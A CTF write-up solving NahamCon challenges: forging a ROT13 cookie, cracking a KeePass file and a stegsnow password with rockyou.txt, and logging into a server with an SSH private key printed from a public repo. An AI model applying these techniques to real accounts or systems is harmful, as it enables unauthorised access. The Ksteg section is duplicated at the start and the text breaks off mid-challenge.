## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
